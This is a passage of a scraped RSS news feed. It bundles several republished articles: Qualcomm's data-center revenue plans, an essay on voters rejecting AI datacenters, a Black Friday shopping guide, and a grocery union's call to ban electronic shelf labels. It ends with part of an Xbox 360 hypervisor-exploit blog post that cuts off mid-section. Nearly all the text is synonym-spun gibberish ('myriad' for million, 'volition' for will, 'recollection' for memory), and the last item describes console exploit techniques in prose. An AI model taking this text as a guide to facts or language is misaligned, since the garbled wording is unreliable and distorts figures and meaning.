target="_blank">Meta</a> announced before this year. The business expects that part of its endeavor to develop quickly, forecasting about $650 myriad in data center income during the archetypal fourth of 2027. But it anticipates that volition attain $5 milliard by the end of 2027 and $15 milliard by 2029.</p><p>Considering the company&rsquo;s <a href="https://en.mycoding.id/category/technology" target="_blank">total revenue</a> for 2026 was $10.4 billion, that would form a important portion of its earnings. It confirmed during the call that it expects data centers to eventually document for about 30 percent of its business.</p><p>That&rsquo;s not fairly as aspiring as AMD, which says that it expects <a href="https://en.mycoding.id/category/technology" target="_blank">over 80 percent</a> of its income volition eventually arrive from data centers. But it suggests there&rsquo;s plentifulness of petition that needs to be filled and adequate AI prosperity to go around.</p><div><p><span><strong>Follow topics and authors</strong> from this narrative to see additional akin this in your personalized homepage nourish and to obtain email updates.</span></p><ul><li id="follow-author-article_footer-dmcyOmF1dGhvclByb2ZpbGU6NjA5MzU0"><span aria-expanded="false" aria-haspopup="true" role="button" tabindex="0"><span><span><svg width="9" height="9" viewbox="0 0 9 9" fill="none" xmlns="http://www.w3.org/2000/svg" aria-label="Follow"><path d="M5 0H4V4H0V5H4V9H5V5H9V4H5V0Z"></path></svg></span><span>Terrence O'Brien</span></span></span></li><li><li><li><li></ul></div></div></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/qualcomm-is-betting-big-on-data-centers-as-smartphone-sales-sink-75697</guid> <pubDate>Wed, 04 Nov 2026 23:42:15 +0700</pubDate> <author><![CDATA[support@mycoding.id (Terrence O’brien)]]></author> </item> <item> <title><![CDATA[Less Popular Than Coal]]></title> <description><![CDATA[Less Popular Than Coal. Comments]]></description> <media:thumbnail url="https://substackcdn.com/image/fetch/$s_!Hgix!,w_1200,h_675,c_fill,f_jpg,q_auto:good,fl_progressive:steep,g_auto/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F131a9a97-850b-45bd-9afb-28c6a01476ca_840x599.jpeg"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/less-popular-than-coal-75707</link> <content:encoded><![CDATA[<div><div><div dir="auto"><div><figure><div data-component-name="Image2ToDOM"><div><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!b8Ow!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6f89de5-e9f2-4504-8a9c-fb1b6cf2b8b8_1100x220.jpeg 424w, https://substackcdn.com/image/fetch/$s_!b8Ow!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6f89de5-e9f2-4504-8a9c-fb1b6cf2b8b8_1100x220.jpeg 848w, https://substackcdn.com/image/fetch/$s_!b8Ow!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6f89de5-e9f2-4504-8a9c-fb1b6cf2b8b8_1100x220.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!b8Ow!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6f89de5-e9f2-4504-8a9c-fb1b6cf2b8b8_1100x220.jpeg 1456w" sizes="100vw"></source><img src="https://www.argmin.net/p/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6f89de5-e9f2-4504-8a9c-fb1b6cf2b8b8_1100x220.jpeg" width="1100" height="220" data-attrs='//substack-post-media.s3.amazonaws.com/public/images/c6f89de5-e9f2-4504-8a9c-fb1b6cf2b8b8_1100x220.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:220,&quot;width&quot;:1100,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:256168,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://www.argmin.net/i/223521127?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6f89de5-e9f2-4504-8a9c-fb1b6cf2b8b8_1100x220.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}' alt="" srcset="https://substackcdn.com/image/fetch/$s_!b8Ow!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6f89de5-e9f2-4504-8a9c-fb1b6cf2b8b8_1100x220.jpeg 424w, https://substackcdn.com/image/fetch/$s_!b8Ow!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6f89de5-e9f2-4504-8a9c-fb1b6cf2b8b8_1100x220.jpeg 848w, https://substackcdn.com/image/fetch/$s_!b8Ow!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6f89de5-e9f2-4504-8a9c-fb1b6cf2b8b8_1100x220.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!b8Ow!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6f89de5-e9f2-4504-8a9c-fb1b6cf2b8b8_1100x220.jpeg 1456w" sizes="100vw" fetchpriority="high"></div></div></figure></div><p><em><span>Hi there, argmin readers! Today&rsquo;s article is a delayed and concise reply to a small subplot of yesterday&rsquo;s historic election: the general rejection of AI datacenters. It was inspired by an insightful </span><a href="https://en.mycoding.id/category/technology" target="_blank">Dan Davies thread</a><span> on bluesky that I have been unable to get out of my head.</span></em></p><p>Elections are a muddled measure of &ldquo;public opinion,&rdquo; but they&rsquo;re likely the lone genuine measure we get. And alongside all amazing measurement, a fine logical delegate must indicate on its beliefs. So what should we passive logical observers create of this historically ample sway towards the Democratic Party in yesterday&rsquo;s vote?</p><p><span>Obviously, this is a important repudiation of Donald Trump, his policies, and the Republican Party. However, you readers likely don&rsquo;t arrive current for my governmental takes, and I don&rsquo;t desire to use this Substack for them anyway. Even if it wasn&rsquo;t the biggest matter on the ballot, item nearer to residence is value pondering. The American group are noisy and apparent that they </span><em>hate</em><span> AI.</span></p><p><span>Nearly fifty measures explicitly concerning construction data centers appeared on ballots throughout the nation. </span><a href="https://en.mycoding.id/category/technology" target="_blank">All of them</a><span> appearance akin they volition ballot to bounds additional construction. A datacenter moratorium was part of Gina Hinojosa&rsquo;s phase in her prosperous bid to rotate into the archetypal Democratic Party administrator of Texas in complete 30 years. The </span><a href="https://en.mycoding.id/category/technology" target="_blank">anti-datacenter stance was undeniably the winning one</a><span>. Poll results from this final summer showed group would fairly have a</span><a href="https://en.mycoding.id/category/technology" target="_blank"> charcoal factory in their backyard than a datacenter</a><span>. Now elections verify these sentiments were real.</span></p><p>We could try to convince ourselves that this opinion is fair concerning datacenters themselves. They are gross, gigantic buildings that employ no one, create a ton of noise, and are frequently powered alongside dirty energy. Who would desire one of those? But datacenters are additionally a big, ugly, legible indication of a deeply unpopular industry.</p><p>At several point, we techy folks have to reckon alongside how much group dislike what we build. We can item to revealed preferences all we desire (people are adopting it! It&rsquo;s making money!), but we did this during the social media surge of the 2010s (people expend a ton of period doomscrolling, hence it&rsquo;s good!). These financial numbers are additionally measurements, but we have to reconcile them alongside another data. Adoption and financial growth are so concentrated in so few hands that, during this props up our inventory indices, it doesn&rsquo;t guide to tangible benefits for everyone else.</p><p>Certainly, it doesn&rsquo;t assistance that the industry has been marketing itself as coming for everyone&rsquo;s jobs. It doesn&rsquo;t assistance that many notable group operating at these companies obtain to social media to gleefully exclaim that they think there&rsquo;s additional than a 10 percent chance that their business volition slay everyone on earth. It doesn&rsquo;t assistance that the big AI companies have been caught committing felonious cybercrimes all summer. It additionally doesn&rsquo;t assistance that the leaders of these companies have been fairly visibly embracing the Trump administration. Hugging a loser is a bad look, guys.</p><p><span>It&rsquo;s a shame, since the innovation is really amazing. The AI true believers (accidentally) built item extremely chill that I would not have idea imaginable five years ago. But this amazing innovation makes everyone miserable! It equal immiserates its biggest boosters, who get sucked into efficiency destiny loops managing swarms of agents that conversation in a unison chorus of Claudish. What&rsquo;s our affirmative case here? The </span><a href="https://en.mycoding.id/category/technology" target="_blank">torment nexus</a><span> of &ldquo;superintelligence&rdquo; ain&rsquo;t it.</span></p><p>I have a lot of friends, colleagues, and alums who create a living construction AI models. And I conjecture a bunch volition be infinitely affluent following the upcoming IPOs. But if you&rsquo;re operating for item additional hated than the tobacco industry, perchance it&rsquo;s way former period you stood up to your director and demanded a improved direction. And no, an open letter doesn&rsquo;t count.</p><p><span>I&rsquo;m not hopeful that this volition happen. Ten years ago, </span><a href="https://en.mycoding.id/category/technology" target="_blank">I wrote a blog article shell-shocked by the ballot of Trump and disgusted alongside my industry</a><span>. The cameo from Sam Altman explains a lot of my pessimism. I&rsquo;ve been soul-searching for a decade. The leaders of the tech industry, alternatively of offering a affirmative imagination and doing better, ended up sucking up to the new authoritarian government. They did it alongside pouting and feet dragging in 2016. They did it alongside their chests out in a celebratory clasp in 2024.</span></p><p>Our industry and site need a complete reboot. But that requires company action. How do we fix it? What do we do next? I&rsquo;d affection to comprehend your thoughts on how the tech field can spotless up its depiction and create a positive, popular case for itself.</p></div></div></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/less-popular-than-coal-75707</guid> <pubDate>Wed, 04 Nov 2026 23:26:24 +0700</pubDate> <author><![CDATA[support@mycoding.id (Putri Silvia)]]></author> </item> <item> <title><![CDATA[Ask HN: What your experience with the monthly "who wants to be hired" thread?]]></title> <description><![CDATA[Ask HN: What your experience with the monthly "who wants to be hired" thread?. Comments]]></description> <media:thumbnail url="https://en.mycoding.id/site/assets/img/og-image.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/ask-hn-what-your-experience-with-the-monthly-who-wants-to-be-hired-thread-75700</link> <content:encoded><![CDATA[<div><p>Sorry </p></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/ask-hn-what-your-experience-with-the-monthly-who-wants-to-be-hired-thread-75700</guid> <pubDate>Wed, 04 Nov 2026 23:18:21 +0700</pubDate> <author><![CDATA[support@mycoding.id (Adi Gunawan)]]></author> </item> <item> <title><![CDATA[Everything You Should Know About This Year's Black Friday Sales]]></title> <description><![CDATA[Everything You Should Know About This Year's Black Friday Sales. Black Friday 2026 is starting much before than in former years.]]></description> <media:thumbnail url="https://lifehacker.com/imagery/articles/01M6M9C0FEV5RNYQPDWWT8HYHR/hero-image.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/everything-you-should-know-about-this-year-s-black-friday-sales-75702</link> <content:encoded><![CDATA[<div class="leading-normal prose-sm m-0 line-clamp-5 font-normal">Daniel is Lifehacker's Shopping Editor covering tech deals and reviewing TVs, headphones, speakers, and projectors. He earned his master’s in reporting from Columbia University and has reported for the Miami Herald. He lives in Atlanta.</div> <hr class="custom-gradient-background my-6 h-[6px] max-w-[75px] border-0"> <p>As is frequently the case alongside important revenue these days, retailers are increasingly blurring the lines between first deals and the authoritative commencement of a sale. <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank">Black Friday</a> revenue appear to be becoming a month-long event, alongside first deals appearing in the archetypal week of the month. If you haven't been paying attention, <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank">major retailers</a> have already put out their plans and equal started <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank">churning out deals</a>. But you're motionless in period to create this upcoming Black Friday transaction a awesome one. Here is everything you need to cognize to prepared you for the big sale.</p><h2 id="when-is-black-friday-and-cyber-monday">When is Black Friday and Cyber Monday?</h2><p>Black Friday is continually the day following Thanksgiving. This year, Black Friday starts at midnight on Nov. 27. Cyber Monday is the Monday following Black Friday, which starts at midnight on Nov. 30. </p><h2 id="what-retailers-are-doing-black-friday-and-cyber-monday-sales">What retailers are doing Black Friday and Cyber Monday sales?</h2><p>The important retailers doing revenue are the usual: Amazon, Best Buy, Target, Walmart, Home Depot, and many others. Currently, <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank">Walmart</a> has publicized its plans already and has first deals available. <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" title="open in a new window" rel="noopener">Best Buy</a> is offering among the largest Black Friday and Cyber Week sales, alongside multiple events and first deals. <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" title="open in a new window" rel="noopener">Target</a> has a three-day event. Nowadays, the two ample retailers and small businesses vie for Cyber Monday shoppers, so you can anticipate practically all shop to run revenue through Monday, November 30, 2026. </p><h2 id="when-do-black-friday-2026-sales-start">When do Black Friday 2026 revenue start?</h2><ul><li><p><a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" title="open in a new window" rel="noopener">Amazon Black Friday</a>: TBD</p></li><li><p><a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" title="open in a new window" rel="noopener">Best Buy Black Friday</a>: November 19</p></li><li><p><a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank">Walmart Black Friday</a>: November 23</p></li><li><p><a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" title="open in a new window" rel="noopener">Target Black Friday</a>: November 27</p></li></ul><h2 id="are-cyber-monday-deals-better-than-black-friday">Are Cyber Monday deals improved than Black Friday?</h2><p>Black Friday used to be bigger for important retailers and additional costly tech and appliances, during Cyber Monday was for cheaper tech and gave smaller businesses a chance to vie online. Nowadays, though, the difference is nearly meaningless. Every important retailer volition recommendation revenue on the two days, and the astute move is to cognize what you want, use cost trackers or mention to <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank">guides akin our live blog</a> that use cost trackers for you, and don’t emphasis complete finding the ideal timing. The “best” agreement volition continually depend on your needs, but in general, the biggest discounts lean to arrive from larger retailers that can oversee lesser prices: think places akin Amazon, Walmart, Target, Best Buy, and Home Depot. </p><div class="py-0" data-ga-click data-ga-template="Deals" data-ga-module="openweb_widget" data-ga-element="openweb_scroll" data-ga-item="openweb_scroll_midpage" x-data="&#039;, e); } } }" x-init="fetchCommentsCount()" x-cloak> <div class="absolute top-1/2 hidden w-full -translate-y-1/2 border-t-[1.5px] border-dashed border-black sm:block"></div> <div class="relative flex justify-center"> <div class="flex max-w-fit items-center gap-x-3 bg-white px-5"> <div class="relative"> <span class="absolute left-1/2 top-1/2 -translate-x-1/2 -translate-y-1/2 font-akshar text-sm font-medium text-black" aria-live="polite" x-show="hasComments" x-text="commentsCount"></span> <svg class="h-8 w-8 text-black" role="img" aria-hidden="true"> </svg> </div> <span class="text-sm font-medium text-black"> What do you think so far? </span> </div> </div> </div> <h2 id="what-deals-can-i-expect-during-black-friday-and-cyber-monday">What deals can I anticipate during Black Friday and Cyber Monday?</h2><p>Unlike Spring or Summer sales, Black Friday doesn't concentration on particular categories, which method everything is fair equivalent for discounts. In former years, we've seen tech, tools, fitness equipment, outdoor supplies and furniture, bedding, video games, galley appliances, and more. This is among the finest times to create a catalog of what you need and commencement <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank">tracking prices</a>. You're apt to discover what you're looking for discounted, and likely at its lowest cost it has always been. If you'd akin to evade having to do all that work, we continually do it for you. Just prosecute our <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank">Black Friday coverage</a>.</p><h2 id="what-are-some-early-black-friday-deals-worth-checking-out-right-now">What are several first Black Friday deals value checking out correct now?</h2><ul><li><p>The <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow sponsored" target="_blank" title="open in a new window">WH-1000XM5</a> were at the top of their category until they were supplanted by the XM6. On the affirmative side, by morality of being older, they're currently discounted to $198 (originally $399.99).</p></li><li><p>The <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow sponsored" target="_blank" title="open in a new window">Bose SoundLink Plus</a> hasn’t been on the market for long, but it’s already earned powerful reviews—CNET tagged it “<a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" title="open in a new window" rel="noopener">the Goldilocks of Bose Bluetooth speakers</a>,” and it’s downward to $179 (originally $269).</p></li><li><p>The all-in-one <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow sponsored" target="_blank" title="open in a new window">Eufy E25 robot vacuum and mop</a> has a self-cleaning roller mop, and it is 40% off, reaching $599.98 (originally $999.99). The roller is rinsed alongside spotless h2o as it mops, afterward cleaned at the dock, definition you don't need to expend as much period cleaning it yourself. </p></li><li><p>Amazon is marketing the two correct now at a $200 discount. That brings the <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow sponsored" target="_blank" title="open in a new window">13-inch MacBook Air</a> to $1,099.99 (down from $1,299) and the <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow sponsored" target="_blank" title="open in a new window">15-inch MacBook Air</a> to $1,299 (originally $1,499), reaching their lowest prices since the June cost hikes.</p></li><li><p>The <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow sponsored" target="_blank" title="open in a new window">Apple Watch Ultra 4</a> lone launched in September, and it’s already seeing an first Black Friday discount of $100 on Amazon, bringing it downward to $699.99 (originally $799).</p></li></ul> <div class="leading-normal prose-sm mt-4 line-clamp-2"> <p></p><p>Covering tech deals and reviewing TVs, headphones, speakers, and projectors.</p><p><br></p> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/everything-you-should-know-about-this-year-s-black-friday-sales-75702</guid> <pubDate>Wed, 04 Nov 2026 23:17:18 +0700</pubDate> <author><![CDATA[support@mycoding.id (Daniel Oropeza)]]></author> </item> <item> <title><![CDATA[Grocery workers union calls on newly elected Democrats to ban electronic shelf labels]]></title> <description><![CDATA[Grocery workers union calls on newly elected Democrats to ban electronic shelf labels. The largest market workers union is taking aim at digital cost tags following the achievement of Democratic candidates in the midterm elections.]]></description> <media:thumbnail url="https://i.insider.com/6aeb9c7fc54bfafa65abf111?width=1200&amp;format=jpeg"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/grocery-workers-union-calls-on-newly-elected-democrats-to-ban-electronic-shelf-labels-75699</link> <content:encoded><![CDATA[<div e-name="post-hero" data-component-type="post-hero" data-load-strategy="exclude"> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject"> <div> <p><img src="https://i.insider.com/6aeb94129270da3cc666826c?width=2000&amp;format=jpeg&amp;auto=webp" srcset="https://i.insider.com/6aeb94129270da3cc666826c?width=400&amp;format=jpeg&amp;auto=webp 400w, https://i.insider.com/6aeb94129270da3cc666826c?width=500&amp;format=jpeg&amp;auto=webp 500w, https://i.insider.com/6aeb94129270da3cc666826c?width=700&amp;format=jpeg&amp;auto=webp 700w, https://i.insider.com/6aeb94129270da3cc666826c?width=1000&amp;format=jpeg&amp;auto=webp 1000w, https://i.insider.com/6aeb94129270da3cc666826c?width=1300&amp;format=jpeg&amp;auto=webp 1300w, https://i.insider.com/6aeb94129270da3cc666826c?width=2000&amp;format=jpeg&amp;auto=webp 2000w" sizes=" 1280px) 900px" alt="Goya canned peppers, olives, and packaged tortillas are displayed on market shop shelves alongside cost labels." decoding="sync"> </p></div> <span> <span> <svg aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewbox="0 0 24 24"> <path fill="currentColor" fill-rule="evenodd" d="m4.56 18.5 7.486-7.72 7.394 7.626 2.56-2.64L12.046 5.5 2 15.86l2.56 2.64Z"></path> </svg> <figcaption e-name="image-caption"> <span>The largest market workers union is taking aim at digital cost tags.</span> <span> <span e-name="image-source" itemprop="creditText">Larry Rulison/Albany Times Union via Getty Images</span> </span> </figcaption> </span> </span> </figure> </div> <div data-component-type="image-modal" data-load-strategy="lazy"> <p>America's largest market workers union wants Dems to keep food prices fair and market workers in stores.</p><p>The United Food and Commercial Workers union, which represents additional than 1.2 myriad people, issued a declaration celebrating victories of labor-backed candidates throughout the US in this year's <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">midterm elections</a>. It additionally called on politicians to enact law to keep digital cost tags and personalized pricing out of market stores in command to location affordability concerns and maintain jobs.</p><p>"Lawmakers should ban surveillance pricing and digital rack labels in market stores, so that shoppers are harmless from company cost gouging," UFCW chairman Milton Jones stated in the statement.</p><p>The tech has arrive under blaze this twelvemonth as retailers akin Walmart and Kroger continue to substitute printed cost tags alongside digital versions that can be updated remotely.</p><p>Last week, the Federal Trade Commission stated it ordered multiple of the largest market chains to prepared detailed <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">reports on their pricing practices</a>.</p><p>"Consumers deserve to cognize whether companies use their web surfing habits or another individual data to evaluation the highest cost they can accusation all consumer," FTC Chairman Andrew N. Ferguson said.</p><p>Some states have taken act against the practices. New Jersey banned surveillance pricing and put a one-year moratorium on digital labels before this year. Maryland requires retailers to fastener in prices for at smallest one endeavor day.</p><p>Retailers have defended the tools, saying they simplify a labor-intensive procedure and enhance accuracy, and that their pricing has been and volition remain fair and transparent.</p><p>Walmart and Target all issued statements final duration that stated they <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">do not use individual information</a> to accusation shoppers a higher price, and that they volition not in the forthcoming either. Both chains motionless recommendation personalized discounts through promotions and affiliation programs.</p> </div> <h2>Read next</h2> <div data-recommendations-content data-track-click-shared='&quot;Read next&quot;}'> <div e-name="read-next-list" data-recommendations-list> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> </div> </div> <a e-name="read-next-image-link" data-recommendations-image-link data-recommendations-link tabindex="-1"> <p><img alt=""> </p> </a> <h3> <a e-name="read-next-title-link" data-recommendations-link data-recommendations-title></a> </h3> <div data-component-type="post-bottom-authors" data-load-strategy="exclude" data-track-view='&quot;module_in_view&quot;}' data-track-click-shared='&quot;navigation&quot;}'> <div data-track-view='&quot;module_in_view&quot;}'> <div> <p><span>Dominick Reuter is a elder retailing newsman for Business Insider, chiefly covering Walmart, Target, Costco, and another big box retailers. His stories lean to concentration on issues and trends that power workforce and customers, specified as affordability challenges and the expanding competition to provision ultra-fast shipment services on e-commerce orders.</span><span>Prior to joining BI in 2019, Dominick worked for additional than a decade as an autonomous photojournalist covering a broad range of stories for earth cable services and newspapers, including Reuters, the Wall Street Journal, and Agence France-Presse.</span><span>Dominick studied photojournalism at Boston University and afterward earned a Masters in endeavor and economics reporting from Columbia University.</span><span><em>If you're an employee or client alongside a narrative to share, delight </em><a href="https://en.mycoding.id/category/business" target="_blank"><em>contact me via email</em></a><em> or text/call/Signal at 646-768-4750.</em></span> </p> </div> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/grocery-workers-union-calls-on-newly-elected-democrats-to-ban-electronic-shelf-labels-75699</guid> <pubDate>Wed, 04 Nov 2026 23:09:38 +0700</pubDate> <author><![CDATA[support@mycoding.id (Dominick Reuter)]]></author> </item> <item> <title><![CDATA[Hacking the Xbox 360 Hypervisor Part 3: Bad Update Improvements]]></title> <description><![CDATA[Hacking the Xbox 360 Hypervisor Part 3: Bad Update Improvements. Comments]]></description> <media:thumbnail url="https://icode4.coffee/wp-content/uploads/part3_twitter_banner.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/hacking-the-xbox-360-hypervisor-part-3-bad-update-improvements-75701</link> <content:encoded><![CDATA[<div> <p>Welcome to part 3 of the Hacking the Xbox 360 Hypervisor blog series. In this part I&rsquo;ll go complete what happened following I released the PoC for Bad Update, and how it went from taking ~20 minutes alongside a ~30% achievement charge to being near instantaneous alongside a near 100% achievement rate. If you haven&rsquo;t already I extremely propose you peruse (or at smallest skim through) <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noopener">part 1</a> and <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noopener">part 2</a> as this article volition citation a lot of the matter discussed there. This part volition be extremely abbreviated but volition capture you up for part 4 which covers the equal force utilize and volition be out soon.</p> <h2>Rock Band Blitz</h2> <p>In the months following the publish of Bad Update v1.0 there were two important improvements made to it by others. The archetypal by &ldquo;ihatecompvir&rdquo; and &ldquo;<a href="https://en.mycoding.id/category/technology" target="_blank">InvoxiPlayGames</a>&rdquo; is a new equivalent preserve admission item in the demo type of Rock Band Blitz (RBB) called <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noopener">DaTArrest</a>. The demo type of RBB is a bundle document that&rsquo;s normally downloaded from the Xbox Live shop for liberated and saved to your console&rsquo;s HDD or recollection unit. When the Xbox 360 got assistance for using USB sticks as retention devices all of the packages signed to footwear from the HDD or recollection component were grandfathered in to additionally footwear from USB retention devices. This method the RBB demo bundle can be copied to a USB rod as a normal document and launched on any console on a application type that supports it.</p> <p>By exploiting several recollection misconduct vulnerabilities in the game&rsquo;s DLC parsing code they were capable to accomplishment a equivalent preserve document that whenever loaded would bootstrap the Bad Update phase 2 ROP sequence and commencement the hypervisor utilize chain. Using RBB as an admission item we no longer needed the Tony Hawk American Wasteland equivalent disc. Running the Bad Update utilize was now as uncomplicated as copying several records to a USB stick, plugging it into your console, and launching Rock Band Blitz from the dashboard.</p> <div> <figure data-wp-context='&quot;6aebb90661238&quot;}' data-wp-interactive="core/image" data-wp-key="6aebb90661238"><img fetchpriority="high" decoding="async" width="1920" height="1080" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on--click="actions.showLightbox" data-wp-on--load="callbacks.setButtonStyles" data-wp-on--pointerdown="actions.preloadImage" data-wp-on--pointerenter="actions.preloadImageWithDelay" data-wp-on--pointerleave="actions.cancelPreload" data-wp-on-window--resize="callbacks.setButtonStyles" src="https://icode4.coffee/wp-content/uploads/rbb-1536x864.png" alt="" srcset="https://icode4.coffee/wp-content/uploads/rbb.png 1920w, https://icode4.coffee/wp-content/uploads/rbb-300x169.png 300w, https://icode4.coffee/wp-content/uploads/rbb-768x432.png 768w, https://icode4.coffee/wp-content/uploads/rbb-1536x864.png 1536w" sizes=" 1920px) 100vw, 1920px"><figcaption>Rock Band Blitz operating the Bad Update utilize file.</figcaption></figure> </div> <h2>Hypervisor Race Condition Optimizations</h2> <p>Shortly following the RBB admission item was discovered I received a drag petition from &ldquo;M&aacute;t&eacute;&rdquo; who had made several improvements to the hypervisor competition circumstance part of the exploit. These improvements included a hash array for precomputing and storing the malicious ciphertext values, a improved cache flushing primitive, and improved thread scheduling between the XKE payload thread and ciphertext overwrite thread. The blend of these improvements reduced implementation period downward to a few seconds and the competition circumstance had a much higher achievement rate. </p> <h3 id="ciphertext-hash-table">Ciphertext Hash Table</h3> <p>In part 2 I talked concerning <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noopener">attacking encrypted memory</a> by using hypervisor APIs to create encrypted recollection allocations at predetermined recollection addresses and used two distinct recollection pathways to grasp the ciphertext for several chosen plaintext data. Using this primitive I was capable to accomplishment ciphertext data to get <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noopener">kernel manner code execution</a> as fine as the ciphertext data used to <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noopener">attack the LZX decompression code</a> in the bootloader update XKE payload.</p> <p>The whitening value used in the recollection encryption scheme is 12 bits ample which gives 1024 distinctive ciphertext combinations for several stated plaintext data. However, in my first PoC I was lone generating the ciphertext for among the 1024 imaginable whitening values and the logic for that was a two part nonaccomplishment on my end. When I initially prototyped out the ciphertext assault I did really try using a lookup array for ciphertext combinations but I wasn&rsquo;t capable to get it working.</p> <p>The archetypal matter was I was using a extremely old ~2011 era hypervisor/kernel build (it was fair what all my old investigation was based on) which was doing a TLB flush for the encrypted VA range in the hypervisor function that setup the recollection encryption. In afterward hypervisor builds that TLB flush was removed since the kernel wrap function for this hypervisor function already does a TLB flush for the VA range. However, I call the hypervisor syscall immediately (skipping the kernel wrap code which does the TLB flush) and since the TLB is lazy-loaded the whitening bits would rotate into old and the resulting ciphertext peruse out of recollection was invalid.</p> <div> <figure data-wp-context='&quot;6aebb906615ab&quot;}' data-wp-interactive="core/image" data-wp-key="6aebb906615ab"><img decoding="async" width="840" height="583" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" 